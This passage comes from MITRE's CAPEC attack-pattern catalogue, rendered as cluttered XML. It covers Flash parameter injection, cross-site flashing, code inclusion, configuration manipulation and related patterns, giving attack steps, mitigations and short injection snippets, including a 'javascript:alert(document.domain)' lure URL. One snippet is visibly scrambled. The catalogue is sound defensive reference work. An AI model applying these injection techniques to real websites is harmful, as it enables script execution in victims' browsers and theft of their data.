xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary takes advantage of improper data validation to inject malicious global parameters into a Flash file embedded within an HTML document. Flash files can leverage user-submitted data to configure the Flash document and access the embedding HTML document.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;These 'FlashVars' are most often passed to the Flash file via URL arguments or from the Object or Embed tag within the embedding HTML document. If these FlashVars are not properly sanitized, an adversary may be able to embed malicious content (such as scripts) into the HTML document.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The injected parameters can also provide the adversary control over other objects within the Flash file as well as full control over the parent document's DOM model. As such, this is a form of HTTP parameter injection, but the abilities granted to the Flash document (such as access to a page's document model, including associated cookies) make this attack more flexible. Flash Parameter Injection attacks can also preface further attacks such as various forms of Cross-Site Scripting (XSS) attacks in addition to Session Hijacking attacks.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern7426 + Related_Attack_Pattern_7426 + + + + + + + + + + + + + + 182 + + + + + 403 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern7429 + Related_Attack_Pattern_7429 + + + + + + + + + + + + + + 460 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern7430 + Related_Attack_Pattern_7430 + + + + + + + + + + + + + + 63 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern7431 + Related_Attack_Pattern_7431 + + + + + + + + + + + + + + 178 + + + + + + + + + + + + #indAttackStepAttackStep7434 + Attack_Step_7434 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Spider] Using a browser or an automated tool, an adversary records all instances of HTML documents that have embedded Flash files. If there is an embedded Flash file, they list how to pass global parameters to the Flash file from the embedding object.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an automated tool to record all instances of URLs which have embedded Flash files and list the parameters passing to the Flash file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website to see whether the HTML document has embedded Flash files or not and list the parameters passing to the Flash file.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep7441 + Attack_Step_7441 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine the application susceptibility to Flash parameter injection] Determine the application susceptibility to Flash parameter injection. For each URL identified in the Explore phase, the adversary attempts to use various techniques such as DOM based, reflected, flashvars, and persistent attacks depending on the type of parameter passed to the embedded Flash file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When the JavaScript 'document.location' variable is used as part of the parameter, inject '#' and the payload into the parameter in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When the name of the Flash file is exposed as a form or a URL parameter, the adversary injects '?' and the payload after the file name in the URL to override some global value.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When the arguments passed in the 'flashvars' attributes, the adversary injects '&amp;' and payload in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If some of the attributes of the &lt;object&gt; tag are received as parameters, the 'flashvars' attribute is injected into the &lt;object&gt; tag without the creator of the Web page ever intending to allow arguments to be passed into the Flash file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If shared objects are used to save data that is entered by the user persistent Flash parameter injection may occur, with malicious code being injected into the Flash file and executed, every time the Flash file is loaded.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep7451 + Attack_Step_7451 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Execute Flash Parameter Injection Attack] Inject parameters into Flash file. Based on the results of the Experiment phase, the adversary crafts the underlying malicious URL containing injected Flash parameters and submits it to the web server. Once the web server receives the request, the embedding HTML document will controllable by the adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Craft underlying malicious URL and send it to the web server to take control of the embedding HTML document.</xhtml:div> + + + + + + + + + + + + #indSkillSkill7459 + Skill_7459 + + + + + + + + + + + + + + The adversary need inject values into the global parameters to the Flash file and understand the parent HTML document DOM structure. The adversary needs to be smart enough to convince the victim to click on their crafted link. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must convince the victim to click their crafted link.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence7465 + Consequence_7465 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Information Leakage</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence7470 + Consequence_7470 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">User input must be sanitized according to context before reflected back to the user. The JavaScript function 'encodeURI' is not always sufficient for sanitizing input intended for global Flash parameters. Extreme caution should be taken when saving user input in Flash cookies. In such cases the Flash file itself will need to be fixed and recompiled, changing the name of the local shared objects (Flash cookies).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The following are examples for different types of parameters passed to the Flash file.&lt;/xhtml:p&gt; + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;DOM-based Flash parameter injection&lt;/xhtml:b&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt; + &lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;object&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;embed src="myFlash.swf" flashvars="location=http://example.com/index.htm#&amp;amp;globalVar=e-v-i-l"&amp;gt;&amp;lt;/embed&amp;gt;&lt;/xhtml:div&gt;&amp;lt;/object&amp;gt;&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Passing parameter in an embedded URI&lt;/xhtml:b&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;"&gt;&amp;lt;object type="application/x-shockwave-flash" data="myfile.swf?globalVar=e-v-i-l" &amp;gt;&amp;lt;/object&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Passing parameter in flashvars&lt;/xhtml:b&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;&amp;lt;object type="application/x-shockwafile.swf" ve-flash" data="my flashvars="language=English&amp;amp;globalVar=e-v-i-l"&amp;gt;&amp;lt;/object&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:b xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Persistent Flash Parameter Injection&lt;/xhtml:b&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt; + &lt;xhtml:div&gt; + &lt;xhtml:i&gt;// Create a new shared object or read an existing one&lt;/xhtml:i&gt; + &lt;/xhtml:div&gt;mySharedObject = SharedObject.getLocal("flashToLoad");&lt;xhtml:br&gt;&lt;/xhtml:br&gt;if (_root.flashfile == undefined) {&lt;xhtml:div style="margin-left:1em;"&gt; + &lt;xhtml:div&gt; + &lt;xhtml:i&gt;// Check whether there is a shared object saved&lt;/xhtml:i&gt; + &lt;/xhtml:div&gt;if (mySharedObject.data.flash == null) {&lt;xhtml:div style="margin-left:1em;"&gt; + &lt;xhtml:div&gt; + &lt;xhtml:i&gt;// Set a default&lt;/xhtml:i&gt; + &lt;/xhtml:div&gt;value _root.flashfile = "defaultFlash.swf";&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;} else {&lt;xhtml:div style="margin-left:1em;"&gt; + &lt;xhtml:div&gt; + &lt;xhtml:i&gt;// Read the flash file to load from the shared object&lt;/xhtml:i&gt; + &lt;/xhtml:div&gt;_root.flashfile = mySharedObject.data.flash;&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;}&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;}&lt;xhtml:div&gt; + &lt;xhtml:i&gt;// Store the flash file's name in the shared object&lt;/xhtml:i&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;mySharedObject.data.flash = _root.flashfile;&lt;xhtml:div&gt; + &lt;xhtml:i&gt;// Load the flash file&lt;/xhtml:i&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;getURL(_root.flashfile);&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If an unsuspecting user is lured by an adversary to click on link like this: http://example.com/vulnerable.swf?flashfile=javascript:alert(document.domain)&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The result will be not merely a one-time execution of the JavaScript code in the victim's browser in the context of the domain with the vulnerable Flash file, but every time the Flash is loaded, whether by direct reference or embedded inside the same domain, the JavaScript will be executed again.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 88 + + + + + + + + + + + + #indReferenceReference7521 + Reference_7521 + + + + + + + + + REF-40 + + + + + + + + + + + + #indReferenceReference7522 + Reference_7522 + + + + + + + + + REF-560 + + + + + + + + + + + + #indContentHistoryContentHistory7524 + Content_History_7524 + + + + + + + + + + + + + + + + #indSubmissionSubmission7525 + Submission_7525 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification7530 + Modification_7530 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Phases, Description Summary, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification7536 + Modification_7536 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Description, Example_Instances, Execution_Flow, References, Related_Attack_Patterns, Related_Weaknesses, Skills_Required + + + + + + + + + + + + #indModificationModification7542 + Modification_7542 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification7548 + Modification_7548 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow, Skills_Required + + + + + + + + + + + + #indModificationModification7554 + Modification_7554 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Execution_Flow, Extended_Description, Resources_Required, Skills_Required + + + + + + + + + + + + #indModificationModification7560 + Modification_7560 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-175 + Code Inclusion + + + + + + + + + 175 + + + + + Code Inclusion + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a weakness on the target to force arbitrary code to be retrieved locally or from a remote location and executed. This differs from code injection in that code injection involves the direct inclusion of code while code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must include external code/libraries that are executed when the application runs and the adversary must be able to influence the specific files that get included.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim must run the targeted application, possibly using the crafted parameters that the adversary uses to identify the code to include.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary may need the capability to host code modules if they wish their own code files to be included.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">One example of this type of attack pattern is PHP file include attacks where the parameter of an include() function is set by a variable that an attacker is able to control. The result is that arbitrary code could be loaded into the PHP application and executed.</xhtml:div> + + + + + 829 + + + + + + + + + + + + #indContentHistoryContentHistory7585 + Content_History_7585 + + + + + + + + + + + + + + + + #indSubmissionSubmission7586 + Submission_7586 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification7591 + Modification_7591 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Activation_Zone, Attack_Prerequisites, Description Summary, Examples-Instances, Injection_Vector, Payload, Payload_Activation_Impact, Related_Weaknesses, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #CAPEC-176 + Configuration/Environment Manipulation + + + + + + + + + 176 + + + + + Configuration/Environment Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker manipulates files or settings external to a target application which affect the behavior of that application. For example, many applications use external configuration files and libraries - modification of these entities or otherwise affecting the application's ability to use them would constitute a configuration/environment manipulation attack.</xhtml:div> + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must consult external files or configuration controls to control its execution. All but the very simplest applications meet this requirement.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must have the access necessary to affect the files or other environment items the targeted application uses for its operations.</xhtml:div> + + + + + 15 + + + + + 1233 + + + + + 1234 + + + + + 1304 + + + + + 1328 + + + + + + + + + + + + #indTaxonomyMappingSettingManipulation + Setting Manipulation + + + + + + + + + + + + + + Setting Manipulation + + + + + + + + + + + + #indContentHistoryContentHistory7621 + Content_History_7621 + + + + + + + + + + + + + + + + #indSubmissionSubmission7622 + Submission_7622 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification7627 + Modification_7627 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification7633 + Modification_7633 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification7639 + Modification_7639 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification7645 + Modification_7645 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName7651 + Previous_Entry_Name_7651 + + + + + + + + + 2015-11-09 + + + + + Configuration/Environment manipulation + + + + + + + + + + + + #CAPEC-177 + Create files with the same name as files protected with a higher classification + + + + + + + + + 177 + + + + + Create files with the same name as files protected with a higher classification + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker exploits file location algorithms in an operating system or application by creating a file with the same name as a protected or privileged file. The attacker could manipulate the system if the attacker-created file is trusted by the operating system or an application component that attempts to load the original file. Applications often load or include external files, such as libraries or configuration files. These files should be protected against malicious manipulation. However, if the application only uses the name of the file when locating it, an attacker may be able to create a file with the same name and place it in a directory that the application will search before the directory with the legitimate file is searched. Because the attackers' file is discovered first, it would be used by the target application. This attack can be extremely destructive if the referenced file is executable and/or is granted special privileges based solely on having a particular name.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern7661 + Related_Attack_Pattern_7661 + + + + + + + + + + + + + + 17 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application must include external files. Most non-trivial applications meet this criterion.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target application does not verify that a located file is the one it was looking for through means other than the name. Many applications fail to perform checks of this type.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The directories the target application searches to find the included file include directories writable by the attacker which are searched before the protected directory containing the actual files. It is much less common for applications to meet this criterion, but if an attacker can manipulate the application's search path (possibly by controlling environmental variables) then they can force this criterion to be met.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must have sufficient access to place an arbitrarily named file somewhere early in the application's search path.</xhtml:div> + + + + + 706 + + + + + + + + + + + + #indTaxonomyMappingMasquerading + Masquerading + + + + + + + + + + + + + + 1036 + + + + + Masquerading + + + + + + + + + + + + #indContentHistoryContentHistory7680 + Content_History_7680 + + + + + + + + + + + + + + + + #indSubmissionSubmission7681 + Submission_7681 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification7686 + Modification_7686 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated References + + + + + + + + + + + + #indModificationModification7692 + Modification_7692 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Prerequisites, References, Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #CAPEC-178 + Cross-Site Flashing + + + + + + + + + 178 + + + + + Cross-Site Flashing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern7705 + Related_Attack_Pattern_7705 + + + + + + + + + + + + + + 182 + + + + + + + + + + + + #indAttackStepAttackStep7708 + Attack_Step_7708 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identification] Using a browser or an automated tool, an attacker records all instances of URLs (or partial URL such as domain) passed to a flash file (SWF).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an automated tool to record the variables passed to a flash file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how the flash file receive variables, e.g. JavaScript using SetVariable/GetVariable, HTML FlashVars param tag, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use decompilers to retrieve the flash source code and record all user-controllable variables passed to a loadMovie* directive.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep7716 + Attack_Step_7716 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt to inject a remote flash file] The attacker makes use of a remotely available flash file (SWF) that generates a uniquely identifiable output when executed inside the targeted flash file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Modify the variable of the SWF file that contains the remote movie URL to the attacker controlled flash file.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep7722 + Attack_Step_7722 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Access or Modify Flash Application Variables] As the attacker succeeds in exploiting the vulnerability, they target the content of the flash application to steal variable content, password, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Develop malicious Flash application that is injected through vectors identified during the Experiment Phase and loaded by the victim browser's flash plugin and sends document information to the attacker.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Develop malicious Flash application that is injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the flash application to execute appropriately.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep7729 + Attack_Step_7729 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Execute JavaScript in victim's browser] When the attacker targets the current flash application, they can choose to inject JavaScript in the client's DOM and therefore execute cross-site scripting attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Develop malicious JavaScript that is injected from the rogue flash movie to the targeted flash application through vectors identified during the Experiment Phase and loaded by the victim's browser.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted Flash application must reference external URLs and the locations thus referenced must be controllable through parameters. The Flash application must fail to sanitize such parameters against malicious manipulation. The victim must follow a crafted link created by the attacker.</xhtml:div> + + + + + + + + + + + + #indSkillSkill7740 + Skill_7740 + + + + + + + + + + + + + + knowledge of Flash internals, parameters and remote referencing. + + + + + + + + + + + + #indConsequenceConsequence7743 + Consequence_7743 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence7747 + Consequence_7747 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence7751 + Consequence_7751 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence7756 + Consequence_7756 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence7763 + Consequence_7763 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Only allow known URL to be included as remote flash movies in a flash application</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Properly configure the crossdomain.xml file to only include the known domains that should host remote flash movies.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker tries to get their malicious flash movie to be executed in the targeted flash application. The malicious file is hosted on the attacker.com domain and the targeted flash application is hosted on example.com The crossdomain.xml file in the root of example.com allows all domains and no specific restriction is specified in the targeted flash application. When the attacker injects their malicious file in the vulnerable flash movie, the rogue flash application is able to access internal variables and parameter of the flash movie.</xhtml:div> + + + + + 601 + + + + + + + + + + + + #indReferenceReference7780 + Reference_7780 + + + + + + + + + REF-41 + + + + + + + + + + + + #indReferenceReference7781 + Reference_7781 + + + + + + + + + REF-42 + + + + + Testing for Cross site flashing + + + + + + + + + + + + #indReferenceReference7782 + Reference_7782 + + + + + + + + + REF-561 + + + + + + + + + + + + #indContentHistoryContentHistory7784 + Content_History_7784 + + + + + + + + + + + + + + + + #indSubmissionSubmission7785 + Submission_7785 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification7790 + Modification_7790 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Consequences, References + + + + + + + + + + + + #indModificationModification7796 + Modification_7796 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, Execution_Flow + + + + + + + + + + + + #indModificationModification7802 + Modification_7802 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References + + + + + + + + + + + + #indModificationModification7808 + Modification_7808 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-179 + Calling Micro-Services Directly + + + + + + + + + 179 + + + + + Calling Micro-Services Directly + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker is able to discover and query Micro-services at a web location and thereby expose the Micro-services to further exploitation by gathering information about their implementation and function. Micro-services in web pages allow portions of a page to connect to the server and update content without needing to cause the entire page to update. This allows user activity to change portions of the page more quickly without causing disruptions elsewhere.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;However, these micro-services may not be subject to the same level of security review as other forms of content. For example, a micro-service that posts requests to a server that are turned into SQL queries may not adequately protect against SQL-injection attacks. As a result, micro-services may provide another vector for a range of attacks. It should be emphasized that the presence of micro-services does not necessarily make a site vulnerable to attack, but they do provide additional complexity to a web page and therefore may contain vulnerabilities that support other attack patterns.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern7824 + Related_Attack_Pattern_7824 + + + + + + + + + + + + + + 554 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target site must use micro-services that interact with the server and one or more of these micro-services must be vulnerable to some other attack pattern.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker usually needs to be able to invoke micro-services directly in order to control the parameters that are used in their attack. The attacker may require other resources depending on the nature of the flaw in the targeted micro-service.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory7832 + Content_History_7832 + + + + + + + + + + + + + + + + #indSubmissionSubmission7833 + Submission_7833 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification7838 + Modification_7838 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification7844 + Modification_7844 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName7850 + Previous_Entry_Name_7850 + + + + + + + + + 2015-12-07 + + + + + Discovering, querying, and finally calling micro-services, such as w/ AJAX + + + + + + + + + + + + #CAPEC-18 + XSS Targeting Non-Script Elements + + + + + + + + + 18 + + + + + XSS Targeting Non-Script Elements + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack is a form of Cross-Site Scripting (XSS) where malicious scripts are embedded in elements that are not expected to host scripts such as image tags (&lt;img&gt;), comments in XML documents (&lt; !-CDATA-&gt;), etc. These tags may not be subject to the same input validation, output validation, and other content filtering and checking routines, so this can create an opportunity for an adversary to tunnel through the application's elements and launch a XSS attack through other elements. As with all remote attacks, it is important to differentiate the ability to launch an attack (such as probing an internal network for unpatched servers) and the ability of the remote adversary to collect and interpret the output of said attack.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern7859 + Related_Attack_Pattern_7859 + + + + + + + + + + + + + + 591 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern7860 + Related_Attack_Pattern_7860 + + + + + + + + + + + + + + 592 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern7861 + 